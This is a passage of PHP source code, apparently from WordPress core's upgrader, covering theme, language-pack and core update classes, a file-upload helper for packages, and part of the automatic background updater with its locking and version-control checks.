'update_themes' ); if ( !isset( $current->response[ $theme ] ) ) { $this->skin->before(); $this->skin->set_result(false); $this->skin->error( 'up_to_date' ); $this->skin->after(); return false; } $r = $current->response[ $theme ]; add_filter('upgrader_pre_install', array($this, 'current_before'), 10, 2); add_filter('upgrader_post_install', array($this, 'current_after'), 10, 2); add_filter('upgrader_clear_destination', array($this, 'delete_old_theme'), 10, 4); $this->run( array( 'package' => $r['package'], 'destination' => get_theme_root( $theme ), 'clear_destination' => true, 'clear_working' => true, 'hook_extra' => array( 'theme' => $theme, 'type' => 'theme', 'action' => 'update', ), ) ); remove_filter('upgrader_pre_install', array($this, 'current_before')); remove_filter('upgrader_post_install', array($this, 'current_after')); remove_filter('upgrader_clear_destination', array($this, 'delete_old_theme')); if ( ! $this->result || is_wp_error($this->result) ) return $this->result; wp_clean_themes_cache( $parsed_args['clear_update_cache'] ); return true; } function bulk_upgrade( $themes, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->upgrade_strings(); $current = get_site_transient( 'update_themes' ); add_filter('upgrader_pre_install', array($this, 'current_before'), 10, 2); add_filter('upgrader_post_install', array($this, 'current_after'), 10, 2); add_filter('upgrader_clear_destination', array($this, 'delete_old_theme'), 10, 4); $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array(WP_CONTENT_DIR) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); // Only start maintenance mode if: // - running Multisite and there are one or more themes specified, OR // - a theme with an update available is currently in use. // @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible. $maintenance = ( is_multisite() && ! empty( $themes ) ); foreach ( $themes as $theme ) $maintenance = $maintenance || $theme == get_stylesheet() || $theme == get_template(); if ( $maintenance ) $this->maintenance_mode(true); $results = array(); $this->update_count = count($themes); $this->update_current = 0; foreach ( $themes as $theme ) { $this->update_current++; $this->skin->theme_info = $this->theme_info($theme); if ( !isset( $current->response[ $theme ] ) ) { $this->skin->set_result(true); $this->skin->before(); $this->skin->feedback( 'up_to_date' ); $this->skin->after(); $results[$theme] = true; continue; } // Get the URL to the zip file $r = $current->response[ $theme ]; $result = $this->run( array( 'package' => $r['package'], 'destination' => get_theme_root( $theme ), 'clear_destination' => true, 'clear_working' => true, 'hook_extra' => array( 'theme' => $theme ), ) ); $results[$theme] = $this->result; // Prevent credentials auth screen from displaying multiple times if ( false === $result ) break; } //end foreach $plugins $this->maintenance_mode(false); /** This action is documented in wp-admin/includes/class-wp-upgrader.php */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'update', 'type' => 'theme', 'bulk' => true, 'themes' => $themes, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does a upgrade on this connection. remove_filter('upgrader_pre_install', array($this, 'current_before')); remove_filter('upgrader_post_install', array($this, 'current_after')); remove_filter('upgrader_clear_destination', array($this, 'delete_old_theme')); // Refresh the Theme Update information wp_clean_themes_cache( $parsed_args['clear_update_cache'] ); return $results; } function check_package($source) { global $wp_filesystem; if ( is_wp_error($source) ) return $source; // Check the folder contains a valid theme $working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit(WP_CONTENT_DIR), $source); if ( ! is_dir($working_directory) ) // Sanity check, if the above fails, lets not prevent installation. return $source; // A proper archive should have a style.css file in the single subdirectory if ( ! file_exists( $working_directory . 'style.css' ) ) return new WP_Error( 'incompatible_archive_theme_no_style', $this->strings['incompatible_archive'], __( 'The theme is missing the <code>style.css</code> stylesheet.' ) ); $info = get_file_data( $working_directory . 'style.css', array( 'Name' => 'Theme Name', 'Template' => 'Template' ) ); if ( empty( $info['Name'] ) ) return new WP_Error( 'incompatible_archive_theme_no_name', $this->strings['incompatible_archive'], __( "The <code>style.css</code> stylesheet doesn't contain a valid theme header." ) ); // If it's not a child theme, it must have at least an index.php to be legit. if ( empty( $info['Template'] ) && ! file_exists( $working_directory . 'index.php' ) ) return new WP_Error( 'incompatible_archive_theme_no_index', $this->strings['incompatible_archive'], __( 'The theme is missing the <code>index.php</code> file.' ) ); return $source; } function current_before($return, $theme) { if ( is_wp_error($return) ) return $return; $theme = isset($theme['theme']) ? $theme['theme'] : ''; if ( $theme != get_stylesheet() ) //If not current return $return; //Change to maintenance mode now. if ( ! $this->bulk ) $this->maintenance_mode(true); return $return; } function current_after($return, $theme) { if ( is_wp_error($return) ) return $return; $theme = isset($theme['theme']) ? $theme['theme'] : ''; if ( $theme != get_stylesheet() ) // If not current return $return; // Ensure stylesheet name hasn't changed after the upgrade: if ( $theme == get_stylesheet() && $theme != $this->result['destination_name'] ) { wp_clean_themes_cache(); $stylesheet = $this->result['destination_name']; switch_theme( $stylesheet ); } //Time to remove maintenance mode if ( ! $this->bulk ) $this->maintenance_mode(false); return $return; } function delete_old_theme( $removed, $local_destination, $remote_destination, $theme ) { global $wp_filesystem; if ( is_wp_error( $removed ) ) return $removed; // Pass errors through. if ( ! isset( $theme['theme'] ) ) return $removed; $theme = $theme['theme']; $themes_dir = trailingslashit( $wp_filesystem->wp_themes_dir( $theme ) ); if ( $wp_filesystem->exists( $themes_dir . $theme ) ) { if ( ! $wp_filesystem->delete( $themes_dir . $theme, true ) ) return false; } return true; } function theme_info($theme = null) { if ( empty($theme) ) { if ( !empty($this->result['destination_name']) ) $theme = $this->result['destination_name']; else return false; } return wp_get_theme( $theme ); } } add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 ); /** * Language pack upgrader, for updating translations of plugins, themes, and core. * * @package WordPress * @subpackage Upgrader * @since 3.7.0 */ class Language_Pack_Upgrader extends WP_Upgrader { var $result; var $bulk = true; static function async_upgrade( $upgrader = false ) { // Avoid recursion. if ( $upgrader && $upgrader instanceof Language_Pack_Upgrader ) return; // Nothing to do? $language_updates = wp_get_translation_updates(); if ( ! $language_updates ) return; $skin = new Language_Pack_Upgrader_Skin( array( 'skip_header_footer' => true, ) ); $lp_upgrader = new Language_Pack_Upgrader( $skin ); $lp_upgrader->upgrade(); } function upgrade_strings() { $this->strings['starting_upgrade'] = __( 'Some of your translations need updating. Sit tight for a few more seconds while we update them as well.' ); $this->strings['up_to_date'] = __( 'The translation is up to date.' ); // We need to silently skip this case $this->strings['no_package'] = __( 'Update package not available.' ); $this->strings['downloading_package'] = __( 'Downloading translation from <span class="code">%s</span>…' ); $this->strings['unpack_package'] = __( 'Unpacking the update…' ); $this->strings['process_failed'] = __( 'Translation update failed.' ); $this->strings['process_success'] = __( 'Translation updated successfully.' ); } function upgrade( $update = false, $args = array() ) { if ( $update ) $update = array( $update ); $results = $this->bulk_upgrade( $update, $args ); return $results[0]; } function bulk_upgrade( $language_updates = array(), $args = array() ) { global $wp_filesystem; $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->upgrade_strings(); if ( ! $language_updates ) $language_updates = wp_get_translation_updates(); if ( empty( $language_updates ) ) { $this->skin->header(); $this->skin->before(); $this->skin->set_result( true ); $this->skin->feedback( 'up_to_date' ); $this->skin->after(); $this->skin->bulk_footer(); $this->skin->footer(); return true; } if ( 'upgrader_process_complete' == current_filter() ) $this->skin->feedback( 'starting_upgrade' ); add_filter( 'upgrader_source_selection', array( &$this, 'check_package' ), 10, 3 ); $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) ); if ( ! $res ) { $this->skin->footer(); return false; } $results = array(); $this->update_count = count( $language_updates ); $this->update_current = 0; // The filesystem's mkdir() is not recursive. Make sure WP_LANG_DIR exists, // as we then may need to create a /plugins or /themes directory inside of it. $remote_destination = $wp_filesystem->find_folder( WP_LANG_DIR ); if ( ! $wp_filesystem->exists( $remote_destination ) ) if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) return new WP_Error( 'mkdir_failed_lang_dir', $this->strings['mkdir_failed'], $remote_destination ); foreach ( $language_updates as $language_update ) { $this->skin->language_update = $language_update; $destination = WP_LANG_DIR; if ( 'plugin' == $language_update->type ) $destination .= '/plugins'; elseif ( 'theme' == $language_update->type ) $destination .= '/themes'; $this->update_current++; $options = array( 'package' => $language_update->package, 'destination' => $destination, 'clear_destination' => false, 'abort_if_destination_exists' => false, // We expect the destination to exist. 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'language_update_type' => $language_update->type, 'language_update' => $language_update, ) ); $result = $this->run( $options ); $results[] = $this->result; // Prevent credentials auth screen from displaying multiple times. if ( false === $result ) break; } $this->skin->bulk_footer(); $this->skin->footer(); // Clean up our hooks, in case something else does an upgrade on this connection. remove_filter( 'upgrader_source_selection', array( &$this, 'check_package' ), 10, 2 ); if ( $parsed_args['clear_update_cache'] ) { wp_clean_themes_cache( true ); wp_clean_plugins_cache( true ); delete_site_transient( 'update_core' ); } return $results; } function check_package( $source, $remote_source ) { global $wp_filesystem; if ( is_wp_error( $source ) ) return $source; // Check that the folder contains a valid language. $files = $wp_filesystem->dirlist( $remote_source ); // Check to see if a .po and .mo exist in the folder. $po = $mo = false; foreach ( (array) $files as $file => $filedata ) { if ( '.po' == substr( $file, -3 ) ) $po = true; elseif ( '.mo' == substr( $file, -3 ) ) $mo = true; } if ( ! $mo || ! $po ) return new WP_Error( 'incompatible_archive_pomo', $this->strings['incompatible_archive'], __( 'The language pack is missing either the <code>.po</code> or <code>.mo</code> files.' ) ); return $source; } function get_name_for_update( $update ) { switch ( $update->type ) { case 'core': return 'WordPress'; // Not translated break; case 'theme': $theme = wp_get_theme( $update->slug ); if ( $theme->exists() ) return $theme->Get( 'Name' ); break; case 'plugin': $plugin_data = get_plugins( '/' . $update->slug ); $plugin_data = array_shift( $plugin_data ); if ( $plugin_data ) return $plugin_data['Name']; break; } return ''; } } /** * Core Upgrader class for WordPress. It allows for WordPress to upgrade itself in combination with the wp-admin/includes/update-core.php file * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class Core_Upgrader extends WP_Upgrader { function upgrade_strings() { $this->strings['up_to_date'] = __('WordPress is at the latest version.'); $this->strings['no_package'] = __('Update package not available.'); $this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>…'); $this->strings['unpack_package'] = __('Unpacking the update…'); $this->strings['copy_failed'] = __('Could not copy files.'); $this->strings['copy_failed_space'] = __('Could not copy files. You may have run out of disk space.' ); $this->strings['start_rollback'] = __( 'Attempting to roll back to previous version.' ); $this->strings['rollback_was_required'] = __( 'Due to an error during updating, WordPress has rolled back to your previous version.' ); } function upgrade( $current, $args = array() ) { global $wp_filesystem; include ABSPATH . WPINC . '/version.php'; // $wp_version; $start_time = time(); $defaults = array( 'pre_check_md5' => true, 'attempt_rollback' => false, 'do_rollback' => false, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->upgrade_strings(); // Is an update available? if ( !isset( $current->response ) || $current->response == 'latest' ) return new WP_Error('up_to_date', $this->strings['up_to_date']); $res = $this->fs_connect( array(ABSPATH, WP_CONTENT_DIR) ); if ( ! $res || is_wp_error( $res ) ) { return $res; } $wp_dir = trailingslashit($wp_filesystem->abspath()); $partial = true; if ( $parsed_args['do_rollback'] ) $partial = false; elseif ( $parsed_args['pre_check_md5'] && ! $this->check_files() ) $partial = false; /* * If partial update is returned from the API, use that, unless we're doing * a reinstall. If we cross the new_bundled version number, then use * the new_bundled zip. Don't though if the constant is set to skip bundled items. * If the API returns a no_content zip, go with it. Finally, default to the full zip. */ if ( $parsed_args['do_rollback'] && $current->packages->rollback ) $to_download = 'rollback'; elseif ( $current->packages->partial && 'reinstall' != $current->response && $wp_version == $current->partial_version && $partial ) $to_download = 'partial'; elseif ( $current->packages->new_bundled && version_compare( $wp_version, $current->new_bundled, '<' ) && ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) ) $to_download = 'new_bundled'; elseif ( $current->packages->no_content ) $to_download = 'no_content'; else $to_download = 'full'; $download = $this->download_package( $current->packages->$to_download ); if ( is_wp_error($download) ) return $download; $working_dir = $this->unpack_package( $download ); if ( is_wp_error($working_dir) ) return $working_dir; // Copy update-core.php from the new version into place. if ( !$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true) ) { $wp_filesystem->delete($working_dir, true); return new WP_Error( 'copy_failed_for_update_core_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-admin/includes/update-core.php' ); } $wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE); require_once( ABSPATH . 'wp-admin/includes/update-core.php' ); if ( ! function_exists( 'update_core' ) ) return new WP_Error( 'copy_failed_space', $this->strings['copy_failed_space'] ); $result = update_core( $working_dir, $wp_dir ); // In the event of an issue, we may be able to roll back. if ( $parsed_args['attempt_rollback'] && $current->packages->rollback && ! $parsed_args['do_rollback'] ) { $try_rollback = false; if ( is_wp_error( $result ) ) { $error_code = $result->get_error_code(); // Not all errors are equal. These codes are critical: copy_failed__copy_dir, // mkdir_failed__copy_dir, copy_failed__copy_dir_retry, and disk_full. // do_rollback allows for update_core() to trigger a rollback if needed. if ( false !== strpos( $error_code, 'do_rollback' ) ) $try_rollback = true; elseif ( false !== strpos( $error_code, '__copy_dir' ) ) $try_rollback = true; elseif ( 'disk_full' === $error_code ) $try_rollback = true; } if ( $try_rollback ) { /** This filter is documented in wp-admin/includes/update-core.php */ apply_filters( 'update_feedback', $result ); /** This filter is documented in wp-admin/includes/update-core.php */ apply_filters( 'update_feedback', $this->strings['start_rollback'] ); $rollback_result = $this->upgrade( $current, array_merge( $parsed_args, array( 'do_rollback' => true ) ) ); $original_result = $result; $result = new WP_Error( 'rollback_was_required', $this->strings['rollback_was_required'], (object) array( 'update' => $original_result, 'rollback' => $rollback_result ) ); } } /** This action is documented in wp-admin/includes/class-wp-upgrader.php */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'update', 'type' => 'core' ) ); // Clear the current updates delete_site_transient( 'update_core' ); if ( ! $parsed_args['do_rollback'] ) { $stats = array( 'update_type' => $current->response, 'success' => true, 'fs_method' => $wp_filesystem->method, 'fs_method_forced' => defined( 'FS_METHOD' ) || has_filter( 'filesystem_method' ), 'time_taken' => time() - $start_time, 'reported' => $wp_version, 'attempted' => $current->version, ); if ( is_wp_error( $result ) ) { $stats['success'] = false; // Did a rollback occur? if ( ! empty( $try_rollback ) ) { $stats['error_code'] = $original_result->get_error_code(); $stats['error_data'] = $original_result->get_error_data(); // Was the rollback successful? If not, collect its error too. $stats['rollback'] = ! is_wp_error( $rollback_result ); if ( is_wp_error( $rollback_result ) ) { $stats['rollback_code'] = $rollback_result->get_error_code(); $stats['rollback_data'] = $rollback_result->get_error_data(); } } else { $stats['error_code'] = $result->get_error_code(); $stats['error_data'] = $result->get_error_data(); } } wp_version_check( $stats ); } return $result; } // Determines if this WordPress Core version should update to $offered_ver or not static function should_update_to_version( $offered_ver /* x.y.z */ ) { include ABSPATH . WPINC . '/version.php'; // $wp_version; // x.y.z $current_branch = implode( '.', array_slice( preg_split( '/[.-]/', $wp_version ), 0, 2 ) ); // x.y $new_branch = implode( '.', array_slice( preg_split( '/[.-]/', $offered_ver ), 0, 2 ) ); // x.y $current_is_development_version = (bool) strpos( $wp_version, '-' ); // Defaults: $upgrade_dev = true; $upgrade_minor = true; $upgrade_major = false; // WP_AUTO_UPDATE_CORE = true (all), 'minor', false. if ( defined( 'WP_AUTO_UPDATE_CORE' ) ) { if ( false === WP_AUTO_UPDATE_CORE ) { // Defaults to turned off, unless a filter allows it $upgrade_dev = $upgrade_minor = $upgrade_major = false; } elseif ( true === WP_AUTO_UPDATE_CORE ) { // ALL updates for core $upgrade_dev = $upgrade_minor = $upgrade_major = true; } elseif ( 'minor' === WP_AUTO_UPDATE_CORE ) { // Only minor updates for core $upgrade_dev = $upgrade_major = false; $upgrade_minor = true; } } // 1: If we're already on that version, not much point in updating? if ( $offered_ver == $wp_version ) return false; // 2: If we're running a newer version, that's a nope if ( version_compare( $wp_version, $offered_ver, '>' ) ) return false; $failure_data = get_site_option( 'auto_core_update_failed' ); if ( $failure_data ) { // If this was a critical update failure, cannot update. if ( ! empty( $failure_data['critical'] ) ) return false; // Don't claim we can update on update-core.php if we have a non-critical failure logged. if ( $wp_version == $failure_data['current'] && false !== strpos( $offered_ver, '.1.next.minor' ) ) return false; // Cannot update if we're retrying the same A to B update that caused a non-critical failure. // Some non-critical failures do allow retries, like download_failed. // 3.7.1 => 3.7.2 resulted in files_not_writable, if we are still on 3.7.1 and still trying to update to 3.7.2. if ( empty( $failure_data['retry'] ) && $wp_version == $failure_data['current'] && $offered_ver == $failure_data['attempted'] ) return false; } // 3: 3.7-alpha-25000 -> 3.7-alpha-25678 -> 3.7-beta1 -> 3.7-beta2 if ( $current_is_development_version ) { /** * Filter whether to enable automatic core updates for development versions. * * @since 3.7.0 * * @param bool $upgrade_dev Whether to enable automatic updates for * development versions. */ if ( ! apply_filters( 'allow_dev_auto_core_updates', $upgrade_dev ) ) return false; // else fall through to minor + major branches below } // 4: Minor In-branch updates (3.7.0 -> 3.7.1 -> 3.7.2 -> 3.7.4) if ( $current_branch == $new_branch ) { /** * Filter whether to enable minor automatic core updates. * * @since 3.7.0 * * @param bool $upgrade_minor Whether to enable minor automatic core updates. */ return apply_filters( 'allow_minor_auto_core_updates', $upgrade_minor ); } // 5: Major version updates (3.7.0 -> 3.8.0 -> 3.9.1) if ( version_compare( $new_branch, $current_branch, '>' ) ) { /** * Filter whether to enable major automatic core updates. * * @since 3.7.0 * * @param bool $upgrade_major Whether to enable major automatic core updates. */ return apply_filters( 'allow_major_auto_core_updates', $upgrade_major ); } // If we're not sure, we don't want it return false; } function check_files() { global $wp_version, $wp_local_package; $checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' ); if ( ! is_array( $checksums ) ) return false; foreach ( $checksums as $file => $checksum ) { // Skip files which get updated if ( 'wp-content' == substr( $file, 0, 10 ) ) continue; if ( ! file_exists( ABSPATH . $file ) || md5_file( ABSPATH . $file ) !== $checksum ) return false; } return true; } } /** * Upgrade Skin helper for File uploads. This class handles the upload process and passes it as if it's a local file to the Upgrade/Installer functions. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class File_Upload_Upgrader { var $package; var $filename; var $id = 0; function __construct($form, $urlholder) { if ( empty($_FILES[$form]['name']) && empty($_GET[$urlholder]) ) wp_die(__('Please select a file')); //Handle a newly uploaded file, Else assume it's already been uploaded if ( ! empty($_FILES) ) { $overrides = array( 'test_form' => false, 'test_type' => false ); $file = wp_handle_upload( $_FILES[$form], $overrides ); if ( isset( $file['error'] ) ) wp_die( $file['error'] ); $this->filename = $_FILES[$form]['name']; $this->package = $file['file']; // Construct the object array $object = array( 'post_title' => $this->filename, 'post_content' => $file['url'], 'post_mime_type' => $file['type'], 'guid' => $file['url'], 'context' => 'upgrader', 'post_status' => 'private' ); // Save the data $this->id = wp_insert_attachment( $object, $file['file'] ); // schedule a cleanup for 2 hours from now in case of failed install wp_schedule_single_event( time() + 7200, 'upgrader_scheduled_cleanup', array( $this->id ) ); } elseif ( is_numeric( $_GET[$urlholder] ) ) { // Numeric Package = previously uploaded file, see above. $this->id = (int) $_GET[$urlholder]; $attachment = get_post( $this->id ); if ( empty($attachment) ) wp_die(__('Please select a file')); $this->filename = $attachment->post_title; $this->package = get_attached_file( $attachment->ID ); } else { // Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler. if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) ) wp_die( $uploads['error'] ); $this->filename = sanitize_file_name( $_GET[ $urlholder ] ); $this->package = $uploads['basedir'] . '/' . $this->filename; if ( 0 !== strpos( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) { wp_die( __( 'Please select a file' ) ); } } } function cleanup() { if ( $this->id ) wp_delete_attachment( $this->id ); elseif ( file_exists( $this->package ) ) return @unlink( $this->package ); return true; } } /** * The WordPress automatic background updater. * * @package WordPress * @subpackage Upgrader * @since 3.7.0 */ class WP_Automatic_Updater { /** * Tracks update results during processing. * * @var array */ protected $update_results = array(); /** * Whether the entire automatic updater is disabled. * * @since 3.7.0 */ public function is_disabled() { // Background updates are disabled if you don't want file changes. if ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS ) return true; if ( defined( 'WP_INSTALLING' ) ) return true; // More fine grained control can be done through the WP_AUTO_UPDATE_CORE constant and filters. $disabled = defined( 'AUTOMATIC_UPDATER_DISABLED' ) && AUTOMATIC_UPDATER_DISABLED; /** * Filter whether to entirely disable background updates. * * There are more fine-grained filters and controls for selective disabling. * This filter parallels the AUTOMATIC_UPDATER_DISABLED constant in name. * * This also disables update notification emails. That may change in the future. * * @since 3.7.0 * * @param bool $disabled Whether the updater should be disabled. */ return apply_filters( 'automatic_updater_disabled', $disabled ); } /** * Check for version control checkouts. * * Checks for Subversion, Git, Mercurial, and Bazaar. It recursively looks up the * filesystem to the top of the drive, erring on the side of detecting a VCS * checkout somewhere. * * ABSPATH is always checked in addition to whatever $context is (which may be the * wp-content directory, for example). The underlying assumption is that if you are * using version control *anywhere*, then you should be making decisions for * how things get updated. * * @since 3.7.0 * * @param string $context The filesystem path to check, in addition to ABSPATH. */ public function is_vcs_checkout( $context ) { $context_dirs = array( untrailingslashit( $context ) ); if ( $context !== ABSPATH ) $context_dirs[] = untrailingslashit( ABSPATH ); $vcs_dirs = array( '.svn', '.git', '.hg', '.bzr' ); $check_dirs = array(); foreach ( $context_dirs as $context_dir ) { // Walk up from $context_dir to the root. do { $check_dirs[] = $context_dir; // Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here. if ( $context_dir == dirname( $context_dir ) ) break; // Continue one level at a time. } while ( $context_dir = dirname( $context_dir ) ); } $check_dirs = array_unique( $check_dirs ); // Search all directories we've found for evidence of version control. foreach ( $vcs_dirs as $vcs_dir ) { foreach ( $check_dirs as $check_dir ) { if ( $checkout = @is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" ) ) break 2; } } /** * Filter whether the automatic updater should consider a filesystem * location to be potentially managed by a version control system. * * @since 3.7.0 * * @param bool $checkout Whether a VCS checkout was discovered at $context * or ABSPATH, or anywhere higher. * @param string $context The filesystem context (a path) against which * filesystem status should be checked. */ return apply_filters( 'automatic_updates_is_vcs_checkout', $checkout, $context ); } /** * Tests to see if we can and should update a specific item. * * @since 3.7.0 * * @param string $type The type of update being checked: 'core', 'theme', * 'plugin', 'translation'. * @param object $item The update offer. * @param string $context The filesystem context (a path) against which filesystem * access and status should be checked. */ public function should_update( $type, $item, $context ) { // Used to see if WP_Filesystem is set up to allow unattended updates. $skin = new Automatic_Upgrader_Skin; if ( $this->is_disabled() ) return false; // If we can't do an auto core update, we may still be able to email the user. if ( ! $skin->request_filesystem_credentials( false, $context ) || $this->is_vcs_checkout( $context ) ) { if ( 'core' == $type ) $this->send_core_update_notification_email( $item ); return false; } // Next up, is this an item we can update? if ( 'core' == $type ) $update = Core_Upgrader::should_update_to_version( $item->current ); else $update = ! empty( $item->autoupdate ); /** * Filter whether to automatically update core, a plugin, a theme, or a language. * * The dynamic portion of the hook name, $type, refers to the type of update * being checked. Can be 'core', 'theme', 'plugin', or 'translation'. * * Generally speaking, plugins, themes, and major core versions are not updated * by default, while translations and minor and development versions for core * are updated by default. * * See the allow_dev_auto_core_updates, allow_minor_auto_core_updates, and * allow_major_auto_core_updates filters for a more straightforward way to * adjust core updates. * * @since 3.7.0 * * @param bool $update Whether to update. * @param object $item The update offer. */ $update = apply_filters( 'auto_update_' . $type, $update, $item ); if ( ! $update ) { if ( 'core' == $type ) $this->send_core_update_notification_email( $item ); return false; } // If it's a core update, are we actually compatible with its requirements? if ( 'core' == $type ) { global $wpdb; $php_compat = version_compare( phpversion(), $item->php_version, '>=' ); if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) $mysql_compat = true; else $mysql_compat = version_compare( $wpdb->db_version(), $item->mysql_version, '>=' ); if ( ! $php_compat || ! $mysql_compat ) return false; } return true; } /** * Notifies an administrator of a core update. * * @since 3.7.0 * * @param object $item The update offer. */ protected function send_core_update_notification_email( $item ) { $notify = true; $notified = get_site_option( 'auto_core_update_notified' ); // Don't notify if we've already notified the same email address of the same version. if ( $notified && $notified['email'] == get_site_option( 'admin_email' ) && $notified['version'] == $item->current ) return false; // See if we need to notify users of a core update. $notify = ! empty( $item->notify_email ); /** * Filter whether to notify the site administrator of a new core update. * * By default, administrators are notified when the update offer received * from WordPress.org sets a particular flag. This allows some discretion * in if and when to notify. * * This filter is only evaluated once per release. If the same email address * was already notified of the same new version, WordPress won't repeatedly * email the administrator. * * This filter is also used on about.php to check if a plugin has disabled * these notifications. * * @since 3.7.0 * * @param bool $notify Whether the site administrator is notified. * @param object $item The update offer. */ if ( ! apply_filters( 'send_core_update_notification_email', $notify, $item ) ) return false; $this->send_email( 'manual', $item ); return true; } /** * Update an item, if appropriate. * * @since 3.7.0 * * @param string $type The type of update being checked: 'core', 'theme', 'plugin', 'translation'. * @param object $item The update offer. */ public function update( $type, $item ) { $skin = new Automatic_Upgrader_Skin; switch ( $type ) { case 'core': // The Core upgrader doesn't use the Upgrader's skin during the actual main part of the upgrade, instead, firing a filter. add_filter( 'update_feedback', array( $skin, 'feedback' ) ); $upgrader = new Core_Upgrader( $skin ); $context = ABSPATH; break; case 'plugin': $upgrader = new Plugin_Upgrader( $skin ); $context = WP_PLUGIN_DIR; // We don't support custom Plugin directories, or updates for WPMU_PLUGIN_DIR break; case 'theme': $upgrader = new Theme_Upgrader( $skin ); $context = get_theme_root( $item->theme ); break; case 'translation': $upgrader = new Language_Pack_Upgrader( $skin ); $context = WP_CONTENT_DIR; // WP_LANG_DIR; break; } // Determine whether we can and should perform this update. if ( ! $this->should_update( $type, $item, $context ) ) return false; $upgrader_item = $item; switch ( $type ) { case 'core': $skin->feedback( __( 'Updating to WordPress %s' ), $item->version ); $item_name = sprintf( __( 'WordPress %s' ), $item->version ); break; case 'theme': $upgrader_item = $item->theme; $theme = wp_get_theme( $upgrader_item ); $item_name = $theme->Get( 'Name' ); $skin->feedback( __( 'Updating theme: %s' ), $item_name ); break; case 'plugin': $upgrader_item = $item->plugin; $plugin_data = get_plugin_data( $context . '/' . $upgrader_item ); $item_name = $plugin_data['Name']; $skin->feedback( __( 'Updating plugin: %s' ), $item_name ); break; case 'translation': $language_item_name = $upgrader->get_name_for_update( $item ); $item_name = sprintf( __( 'Translations for %s' ), $language_item_name ); $skin->feedback( sprintf( __( 'Updating translations for %1$s (%2$s)…' ), $language_item_name, $item->language ) ); break; } // Boom, This sites about to get a whole new splash of paint! $upgrade_result = $upgrader->upgrade( $upgrader_item, array( 'clear_update_cache' => false, 'pre_check_md5' => false, /* always use partial builds if possible for core updates */ 'attempt_rollback' => true, /* only available for core updates */ ) ); // if the filesystem is unavailable, false is returned. if ( false === $upgrade_result ) { $upgrade_result = new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) ); } // Core doesn't output this, so lets append it so we don't get confused if ( 'core' == $type ) { if ( is_wp_error( $upgrade_result ) ) { $skin->error( __( 'Installation Failed' ), $upgrade_result ); } else { $skin->feedback( __( 'WordPress updated successfully' ) ); } } $this->update_results[ $type ][] = (object) array( 'item' => $item, 'result' => $upgrade_result, 'name' => $item_name, 'messages' => $skin->get_upgrade_messages() ); return $upgrade_result; } /** * Kicks off the background update process, looping through all pending updates. * * @since 3.7.0 */ public function run() { global $wpdb, $wp_version; if ( $this->is_disabled() ) return; if ( ! is_main_network() || ! is_main_site() ) return; $lock_name = 'auto_updater.lock'; // Try to lock $lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_name, time() ) ); if ( ! $lock_result ) { $lock_result = get_option( $lock_name ); // If we couldn't create a lock, and there isn't a lock, bail if ( ! $lock_result ) return; // Check to see if the lock is still valid if ( $lock_result > ( time() - HOUR_IN_SECONDS ) ) return; } // Update the lock, as by this point we've definately got a lock, just need to fire the actions update_option( $lock_name, time() ); // Don't automatically run these thins, as we'll handle it ourselves remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 ); remove_action( 'upgrader_process_complete', 'wp_version_check' ); remove_action( 'upgrader_process_complete', 'wp_update_plugins' ); remove_action( 'upgrader_process_complete', 'wp_update_themes' ); // Next, Plugins wp_update_plugins(); // Check for Plugin updates $plugin_updates = get_site_transient( 'update_plugins' ); if ( $plugin_updates && !empty( $plugin_updates->response ) ) { foreach ( $plugin_updates->response as $plugin ) { $this->update( 'plugin', $plugin ); } // Force refresh of plugin update information wp_clean_plugins_cache(); } // Next, those themes we all love wp_update_themes(); // Check for Theme updates $theme_updates = get_site_transient( 'update_themes' ); if ( $theme_updates && !empty( $theme_updates->response ) ) { foreach ( $theme_updates->response as $theme ) { $this->update( 'theme', (object) $theme ); } // Force refresh of theme update information wp_clean_themes_cache(); } // Next, Process any core update wp_version_check(); // Check for Core updates $core_update = find_core_auto_update(); if ( $core_update ) $this->update( 'core', $core_update ); // Clean up, and check for any pending translations // (Core_Upgrader checks for core updates) $theme_stats = array(); if ( isset( $this->update_results['theme'] ) ) { foreach ( $this->update_results['theme'] as $upgrade ) { $theme_stats[ $upgrade->item->theme ] = ( true === $upgrade->result ); } } wp_update_themes( $theme_stats ); // Check for Theme updates $plugin_stats = 